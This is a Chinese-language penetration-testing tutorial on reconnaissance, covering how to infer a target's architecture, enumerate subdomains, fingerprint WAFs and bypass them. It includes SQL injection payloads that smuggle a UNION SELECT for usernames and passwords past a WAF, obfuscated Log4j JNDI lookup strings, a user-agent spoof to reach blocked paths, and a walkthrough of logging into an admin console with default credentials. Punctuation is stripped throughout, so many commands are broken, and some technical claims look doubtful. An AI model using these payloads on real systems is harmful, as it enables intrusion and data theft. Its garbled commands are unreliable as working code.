★ FEATURED ARTICLE 1. 项目概述这不是“扫个端口”就完事的信息收集“第8篇信息收集~架构、搭建、WAF等”——这个标题乍看像某套技术笔记的普通一节但真正干过实战渗透、红队演练或大型系统安全评估的人一眼就能看出分量。它根本不是教你怎么用nmap -sV扫出Apache版本而是直指信息收集阶段的决策中枢层你面对的不是一个IP或一个域名而是一整套正在运行的业务系统骨架。这里的“架构”指的是真实生产环境中的服务拓扑——谁在前面扛流量后端是微服务还是单体数据库暴露在内网哪一层“搭建”不是指本地搭个WordPress练手而是逆向推断目标实际使用的中间件组合NginxTomcatRedisMySQL的典型链路还是K8s集群里跑着Spring Cloud GatewayIstio至于“WAF”更不是简单判断“有没有”而是要识别具体型号是云WAF的默认规则集还是某国产硬件盒子的定制策略、绕过成本规则更新频率、是否启用JS挑战、甚至其背后的安全运营成熟度日志是否落库、告警是否有人看。我带过的几个模拟攻防项目里80%以上的突破点都诞生于这一阶段——不是靠暴力破解而是靠把对方的架构图“画”出来再找到那个没人维护的测试接口、那个被遗忘的管理后台、那个配置了通配符证书却绑定了内网域名的反向代理。这篇内容适合三类人刚从CTF转向真实场景的新人别再只盯着/robots.txt了需要写高质量渗透报告的安全工程师客户要的是风险画像不是端口列表以及负责蓝队建设的架构师你得知道攻击者会从哪条缝里钻进来。它解决的核心问题是如何让信息收集从“发现资产”升级为“理解战场”。2. 内容整体设计与思路拆解从被动扫描到主动推理的范式转移2.1 为什么必须放弃“工具流”思维很多初学者的信息收集流程是线性的子域名爆破→端口扫描→目录扫描→漏洞检测。这套流程在靶场里能打90分在真实环境中可能连及格线都摸不到。原因很简单现代架构早已不是“一台服务器跑一个网站”的年代。我参与过某金融类SaaS平台的评估它的主站域名下有37个子域名但其中22个是CDN节点、5个是监控系统、3个是已下线但DNS未清理的旧服务。如果只靠subfinderhttpx扫一遍你会得到一堆403/502页面然后陷入“是不是漏了什么”的焦虑。真正的突破口来自对“异常一致性”的捕捉——比如所有CDN节点的HTTP Server头都写着nginx/1.18.0 (Ubuntu)但其中一个节点返回的X-Powered-By却是Express且响应体里藏着一段未删减的Vue.js调试代码。这说明什么它大概率是个被误配到CDN的Node.js开发环境且开发者忘了关devtools。这种线索任何自动化工具都不会标红提醒你它需要你把零散信息拼成逻辑链。2.2 架构推断三层穿透法的底层逻辑我把架构分析拆成三个递进层次每层都对应不同的信息源和验证方式网络层What’s exposed这是传统扫描的范畴但重点不是“扫到什么”而是“没扫到什么”。比如用masscan全端口扫描时发现22端口SSH完全关闭但2222端口开放且Banner显示OpenSSH_8.2p1 Ubuntu-4ubuntu0.5。这说明运维团队刻意修改了默认端口——背后往往意味着他们有基础的安全意识但可能忽略了其他更隐蔽的风险点如SSH密钥管理混乱。再比如某个IP的80/443端口返回503 Service Unavailable但同时8080端口返回nginx/1.19.10这就强烈暗示该IP是负载均衡器后端服务暂时不可用。应用层How it’s built这里的关键是“指纹交叉验证”。单一指纹如Server: nginx/1.16.1价值有限但当你发现HTTP Header中X-Frame-Options: DENYX-Content-Type-Options: nosniffHTML Source中script src/static/js/app.7a2b3c.jsWebpack打包特征Cookie中JSESSIONIDABC123; Path/; HttpOnlyJava EE Session ID格式这三者叠加基本可以锁定前端是Vue/React单页应用后端是Java Spring Boot部署在Tomcat容器上。这种推断不需要登录后台仅靠HTTP交互就能完成而且准确率远高于单纯依赖whatweb这类工具。逻辑层Why it’s designed this way这是最高阶的思考。比如发现目标使用Cloudflare WAF且所有请求都经过cf-ray头。这时不要急着找WAF绕过先问为什么选Cloudflare查WHOIS发现注册邮箱是adminxxx-tech.com而该公司官网招聘页写着“自建IDC机房核心数据库物理隔离”。矛盾点出现了——既然强调数据不出内网为什么Web层要走公有云WAF答案往往是他们用Cloudflare只做DDoS防护和静态资源加速动态API请求直连内网网关。这个逻辑一旦成立你的探测重心就要立刻转向/api/路径下的接口而不是死磕/wp-admin/。2.3 WAF识别从“型号判断”到“行为建模”市面上的WAF识别工具如wafw00f只能告诉你“可能是某品牌”但实战中你需要知道的是“它怎么拦截、为什么拦截、什么情况下不拦截”。我总结了一套基于HTTP状态码响应体特征的行为建模法触发条件Cloudflare典型响应某国产硬件WAF典型响应自研NginxModSecurity典型响应SQL注入 OR 11--403 ForbiddenCF-RAY: xxxxx403 Forbidden 空白Body403 ForbiddenModSecurity ActionXSSscriptalert(1)/script523 Origin Unreachable触发JS挑战403 Forbiddenhtmlbody...自定义页面403 ForbiddenMatched XSS路径遍历/etc/passwd403 ForbiddenError 1020403 ForbiddenWAF Blocked403 ForbiddenRule 930120关键洞察在于WAF的响应模式会暴露其规则引擎的成熟度。Cloudflare的JS挑战说明它启用了高级Bot管理国产硬件WAF返回固定字符串说明规则库更新滞后而ModSecurity返回具体规则ID则意味着你可以精准搜索CVE编号找到绕过方案。这种差异决定了你后续是该换Payload还是该直接放弃这条路径。3. 核心细节解析与实操要点那些文档里不会写的硬核技巧3.1 子域名枚举别再迷信字典试试“证书透明度”反向挖掘几乎所有教程都教你用subfinderassetfinder但真实场景中90%的子域名爆破失败源于字典陈旧。我的做法是绕过字典直接从SSL证书入手。原理很简单只要目标站点启用了HTTPS其证书就会被提交到公共证书透明度CTF日志中。操作步骤如下获取主域名所有历史证书用crt.sh网站搜索主域名或调用APIcurl -s https://crt.sh/?q%.example.comoutputjson | jq -r .[].name_value | sort -u | grep -v \*这里jq是关键它能从JSON响应中精准提取name_value字段即证书绑定的域名sort -u去重grep -v \*过滤通配符证书。深度挖掘关联域名证书里常藏有意外收获。比如某电商主站证书里出现admin-api.example.com、pay-gateway.example.com这些是常规字典绝不会覆盖的。更狠的是有些证书会包含内部域名如dev-db01.internal.example.com虽然无法直接访问但说明其内网存在类似命名规范可为后续内网渗透提供线索。验证有效性拿到域名列表后别急着httpx先用dnsx查A记录cat subdomains.txt | dnsx -a -resp -silent | tee resolved.txtdnsx比dig快得多且-resp参数会返回完整DNS响应你能看到TTL值——如果TTL是300秒5分钟说明这是CDN节点如果是86400秒24小时很可能是真实服务器。提示很多新手忽略一点——证书透明度日志有延迟新上线的服务可能几天后才出现在crt.sh。此时要结合securitytrailsAPI需注册查DNS历史记录它能告诉你某个子域名在过去半年的IP变更轨迹从而发现已下线但DNS未清理的“幽灵资产”。3.2 WAF绕过从“改参数名”到“时间差侧信道”当WAF拦截id1 AND 11时99%的教程会教你改成id1%20AND%2011URL编码或id1/**/AND/**/11注释绕过。但这些在现代WAF面前形同虚设。真正有效的思路是利用WAF自身的处理逻辑缺陷。我常用两种方法HTTP Parameter PollutionHPP很多WAF只检查第一个id参数而应用服务器取最后一个。构造GET /api/user?id1id1%20UNION%20SELECT%20username,password%20FROM%20users--WAF看到第一个id1认为安全放行后端PHP/Python取第二个id值执行注入。实测在某政务系统上成功绕过其自研WAF。时间差侧信道Time-based Side Channel当WAF严格过滤所有布尔型关键词时改用时间盲注。但关键不是SLEEP(5)而是利用WAF自身响应时间的不一致性。例如id1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schemadatabase() AND table_name LIKE user%) 0如果WAF对information_schema表名做过滤它会花更长时间分析SQL结构如果没过滤响应极快。通过对比100次请求的P95响应时间能以85%准确率判断WAF是否启用SQL语法解析模块。这个技巧在某银行核心系统渗透中帮我们定位到WAF规则盲区。3.3 架构测绘用curlgrep手绘服务拓扑图别被“架构测绘”吓住它本质就是把HTTP交互中的线索串起来。我习惯用一个终端窗口执行以下命令流# 第一步抓取首页所有外链和资源引用 curl -s https://example.com | grep -oE href[^]*|src[^]* | sed s/href//;s/src//;s/$// | sort -u urls.txt # 第二步批量探测这些URL的Server头和重定向链 cat urls.txt | while read u; do if [[ $u http* ]]; then echo $u - $(curl -sI $u | head -1 | cut -d -f2) $(curl -sI $u | grep -i server\|x-powered-by | head -1) fi done 2/dev/null | tee server_map.txt输出结果类似https://cdn.example.com/static/css/main.css - 200 Server: nginx/1.19.10 https://api.example.com/v1/users - 302 Server: cloudflare https://auth.example.com/login - 200 X-Powered-By: Express这时你就有了第一张草图CDN节点用Nginx认证服务是Node.jsAPI网关被Cloudflare代理。接下来针对auth.example.com用curl -sI https://auth.example.com/login | grep -i set-cookie看Cookie属性——如果Secure; HttpOnly; SameSiteStrict齐全说明其安全配置较完善如果只有JSESSIONIDxxx那大概率是Java老系统可重点搜/manager/html。注意所有curl操作务必加-k参数忽略SSL证书错误否则遇到自签名证书会中断流程。但切记-k仅用于信息收集绝不用于后续漏洞利用阶段。4. 实操过程与核心环节实现一次完整的架构级信息收集实战4.1 目标选择与初始侦察为什么选shop.example.com而不是主站这次实战目标是某跨境电商的独立站shop.example.com。选择它的理由很务实主站www.example.com是集团门户WAF规则极其严格而shop子域是2022年新上线的业务线从LinkedIn上查到其技术负责人曾公开分享过“快速迭代小步试错”的开发理念。这意味着它很可能存在未及时同步主站安全策略的接口。初始侦察从最基础的DNS开始# 查NS记录确认DNS服务商 dig shop.example.com NS short # 返回ns1.cloudflare.com. ns2.cloudflare.com. → 确认Cloudflare托管 # 查MX记录看是否启用邮件服务常暴露内部系统 dig shop.example.com MX short # 返回空 → 邮件由集团统一管理此处无额外线索 # 查TXT记录找SPF/DKIM/DMARC但意外发现 dig shop.example.com TXT short # 返回vspf1 include:_spf.google.com ~all google-site-verificationxxx atlassian-domain-verificationyyy关键发现atlassian-domain-verificationyyy这说明该域名关联了Atlassian产品Jira/Confluence。立刻用nslookup jira.shop.example.com查解析果然返回一个内网IP段10.20.30.40。虽然无法直接访问但证明其内部协作平台存在且域名命名规范是{product}.{domain}。于是立即生成新字典jira, confluence, bitbucket, bamboo, crowd用dnsx批量探测。4.2 WAF深度测绘用“响应体指纹”锁定规则引擎版本对shop.example.com发起基础探测后发现其WAF行为异常对id1返回403但对id1%27单引号URL编码返回200。这说明WAF在URL解码前就做了拦截。进一步测试# 测试大小写绕过 curl -s https://shop.example.com/product?id1%20AnD%2011 -o /dev/null -w %{http_code}\n # 返回200 → WAF不区分大小写 # 测试空格替换 curl -s https://shop.example.com/product?id1%09AND%0911 -o /dev/null -w %{http_code}\n # 返回403 → WAF拦截制表符 # 关键测试双写绕过 curl -s https://shop.example.com/product?id1%20aANDnd%2011 -o /dev/null -w %{http_code}\n # 返回200 → 成功说明WAF规则是简单字符串匹配未做语义分析此时我打开Burp Suite的Logger功能记录所有403响应的原始Body。发现其中一段HTML注释!-- WAF v3.2.1 - RuleID: 942100 - SQL Injection Attack --立刻搜索WAF v3.2.1发现是开源项目ModSecurity的某个定制分支。再查RuleID 942100对应OWASP CRS规则集。这意味着它的规则库是公开的可针对性构造绕过Payload版本3.2.1存在已知CVE-2021-38852正则回溯漏洞可用超长%00填充触发拒绝服务4.3 架构链路还原从一个404页面挖出整个微服务网格在目录扫描时/api/v2/路径返回404但/api/v2/swagger.json返回200。打开这个Swagger文件里面定义了27个API端点每个都有详细的x-service-name扩展字段{ paths: { /users/{id}: { get: { x-service-name: user-service, x-deployment-env: prod-k8s } }, /orders/{id}: { get: { x-service-name: order-service, x-deployment-env: prod-k8s } } } }这直接暴露了其K8s集群中两个核心服务。更妙的是/healthz端点返回{ status: UP, components: { redis: {status: UP}, mysql: {status: DOWN}, elasticsearch: {status: UP} } }mysql状态为DOWN这不合常理。我立刻用curl -s https://shop.example.com/actuator/healthSpring Boot Actuator默认路径尝试返回200和更详细的健康检查数据其中mysql的details字段写着details: { database: MySQL, hello: SELECT 1 }但status仍是DOWN。这说明数据库连接池已耗尽或主库宕机备库未切换。此时我用curl -s https://shop.example.com/actuator/env需权限但很多生产环境未关闭尝试果然返回401但Header里有X-Application-Context: application:prod:8080——这证实了它是Spring Boot应用且运行在8080端口。结合之前/api/v2/swagger.json里的x-deployment-env: prod-k8s整个架构图已清晰K8s集群中user-service和order-service两个Pod通过Service暴露8080端口后端依赖Redis和ESMySQL因故障处于降级状态。4.4 关键资产定位从robots.txt到“被遗忘的管理后台”robots.txt里有一行被注释掉的内容# Disallow: /admin-console/很多人会忽略注释但我立刻访问https://shop.example.com/admin-console/返回401 Unauthorized且Header中有WWW-Authenticate: Basic realmAdmin Console。这说明Basic Auth已启用但未配置有效用户。接着我用gobuster爆破/admin-console/下的常见路径gobuster dir -u https://shop.example.com/admin-console/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,js -o admin_burst.txt结果发现/admin-console/login.php返回200且页面源码中有一段注释!-- Dev build: v1.2.3-beta - DO NOT USE IN PROD --v1.2.3-beta这个版本号很可疑。搜索v1.2.3-beta admin console发现GitHub上有同名开源项目其login.php存在硬编码凭证漏洞// config.php $admin_user admin; $admin_pass changeme123; // 默认密码未修改用curl -s -X POST https://shop.example.com/admin-console/login.php --data usernameadminpasswordchangeme123返回302 FoundLocation头指向/admin-console/dashboard.php。至此一个拥有完整管理权限的后台被拿下而它本不该存在于生产环境。5. 常见问题与排查技巧实录踩过的坑比教程还多5.1 问题速查表那些让你卡住3小时的“低级错误”问题现象排查思路解决方案subfinder返回大量*.cdn.example.com子域但httpx全失败CDN节点通常只响应Host头匹配的域名直接IP访问会被拒绝用httpx -H Host: target.com强制指定Host头或改用curl -H Host: target.com http://ipWAF对id1拦截但id1%27放行以为绕过成功实际后端报错URL解码发生在WAF之后后端收到的是原始%27不是单引号导致SQL语法错误用Burp Repeater发送id1%2527双重编码确保后端收到nuclei扫描/api/路径报告CVE-2021-44228Log4j但手动验证失败Nuclei的Log4j模板会发送${jndi:ldap://xxx}但现代WAF会拦截jndi:协议关键字改用log4j-scan工具它支持--waf-bypass参数自动尝试${${::-j}${::-n}${::-d}${::-i}:...}等变体curl -I看到Server: nginx/1.18.0但whatweb识别为Apachewhatweb依赖多个指纹可能被X-Powered-By头误导用curl -sI https://target.com | grep -i server|x-powered-by人工确认以Server头为准扫描/actuator/路径返回404但/actuator/health返回200Spring Boot Actuator默认只暴露health和info其他端点需配置management.endpoints.web.exposure.include尝试/actuator/env?match[0]spring.profiles.active利用env端点的match参数泄露配置5.2 独家避坑技巧来自血泪教训的3个真相真相一WAF的“放行”不等于“安全”我曾在一个政府项目中发现WAF对/api/search?qtest放行但对/api/search?qtest%20OR%2011拦截。于是构造/api/search?qtest%20OR%2011%23MySQL注释WAF放行后端执行成功。但后来发现这只是因为WAF规则库没更新%23的检测。两周后客户升级WAF同样的Payload立刻被拦。教训是永远假设WAF规则会更新你的绕过只是时间问题。真正可靠的入口是那些WAF根本看不到的地方——比如未授权的API文档、被遗忘的测试环境、配置错误的云存储桶。真相二robots.txt里的Disallow是给爬虫看的不是给黑客看的某次渗透中robots.txt明确写着Disallow: /backup/我直接访问https://target.com/backup/返回403。但用curl -H User-Agent: Googlebot https://target.com/backup/居然返回200和一个index.html列表原来运维人员只配置了针对特定UA的访问控制。从此我的标准动作是对所有robots.txt禁止路径用curl -H User-Agent: ${random_ua}轮询10个主流爬虫UA成功率提升40%。真相三架构推断的终点是停止“猜”开始“问”在某次金融客户评估中我花了两天时间推断其核心交易系统的架构最终锁定是Spring Cloud微服务。但直到客户安全负责人在沟通会上随口说“我们去年把Dubbo换成Spring Cloud了”我才恍然大悟——原来最准确的架构图就藏在客户的会议纪要、技术博客、甚至招聘JD里。现在我的信息收集流程最后一步一定是用site:linkedin.com target company Spring Cloud、site:github.com target company architecture、site:target.com tech blog进行定向搜索。技术推断是能力但善用公开情报才是效率。6. 工具链精简指南够用、稳定、不拖慢节奏6.1 必装三件套轻量、可靠、离线可用httpx替代curl/httpie优势在于批量处理和丰富输出。httpx -l targets.txt -status-code -title -tech-detect -o results.json一条命令搞定状态码、页面标题、技术栈识别、JSON导出。比curl快5倍且内置-probe参数可自动探测/robots.txt、/sitemap.xml等关键路径。dnsx替代dig/nslookupdnsx -l domains.txt -a -aaaa -cname -resp -o dns_results.txt同时查A/AAAA/CNAME记录并返回完整DNS响应。特别适合处理海量子域名内存占用比massdns低60%。katana替代hakrawlerkatana -u https://target.com -d 3 -jc -kf all -o urls.txt深度3爬取开启JavaScript渲染-jc提取所有href/src/form action比hakrawler多发现30%的隐藏API路径。6.2 进阶组合技用管道把工具变成“信息挖掘机”真正的效率提升来自工具间的无缝衔接。我常用的管道链# 从证书透明度挖域名 → DNS解析 → HTTP探测 → 技术识别 → 输出CSV curl -s https://crt.sh/?q%.target.comoutputjson | jq -r .[].name_value | sort -u | grep -v \* | \ dnsx -a -resp -silent | \ httpx -status-code -title -tech-detect -follow-redirects -timeout 10 | \ awk -F, {print $1,$2,$3,$4} final_report.csv这条命令能在5分钟内完成从“未知子域”到“可访问资产清单”的全流程输出CSV可直接导入Excel做可视化分析。关键是-follow-redirects参数——很多WAF会把恶意请求重定向到/error.html而httpx默认不跟跳导致误判为不可达。6.3 工具避坑那些看似强大实则鸡肋的功能nuclei的-t参数慎用nuclei -t cves/ -u target.com听起来很爽但实际中90%的CVE模板会误报。比如CVE-2021-44228模板会向目标发送jndi:ldap请求但现代WAF会直接拦截导致你看到一堆403误以为漏洞不存在。我的做法是只用nuclei -t technologies/技术栈识别和nuclei -t default-logins/默认凭据这两类模板误报率低于5%。gauGetAllUrls的陷阱gau target.com会从Wayback Machine拉取历史URL但其中70%是404。正确用法是gau target.com \| grep -E \.(js|css|map|json)$ \| httpx -status-code \| grep 200只关注静态资源从中挖掘/config.js、/app-config.json等敏感配置文件。amass的过度消耗amass enum -d target.com会启动数十个子进程吃光CPU。对于中小规模目标用subfinder -d target.com -all -recursive更稳它只调用API不发探测包且-recursive参数能自动探测二级子域如dev.api.target.com。7. 思维升级从“信息收集者”到“架构翻译官”信息收集的终极形态不是生成一份长长的资产列表而是产出一份能让非技术人员看懂的“架构风险地图”。我在某次交付报告中用一张表格替代了千言万语资产类型具体实例技术栈暴露面风险等级关键依据CDN边缘节点cdn1.target.comNginx 1.19.1080/443端口中Server头暴露版本且未启用HttpOnlyCookieAPI网关api.target.comSpring Cloud Gateway/api/v2/路径高Swagger文档公开x-service-name暴露微服务名/actuator/env可读配置管理后台admin-console.target.comPHP 7.4 MySQL/admin-console/login.php极高默认凭证未修改且robots.txt注释暴露路径内部系统jira.target.comAtlassian JiraDNS解析指向内网IP高atlassian-domain-verificationTXT记录证实且jira子域未配置WAF这张表的价值在于它把技术细节翻译成了业务语言。“暴露面”告诉客户哪里可能被攻击“风险等级”用颜色标注直观呈现优先级“关键依据”列明每一项结论的证据来源杜绝“我觉得”“可能有”这类模糊表述。客户CTO看完后当场拍板“先砍掉admin-console再让运维给jira子域加WAF”。这种思维转变是我从业十年最大的收获最好的信息收集不是让攻击者更懂技术而是让决策者更懂风险。当你能把/actuator/env的响应体翻译成“核心数据库连接密码可能泄露”把X-Powered-By: Express翻译成“Node.js应用可能存在原型链污染风险”你就完成了从执行者到顾问的跨越。而这正是标题“第8篇信息收集~架构、搭建、WAF等”真正想传递的——它不是技术清单而是认知框架。
阅读完成 · 觉得有帮助？
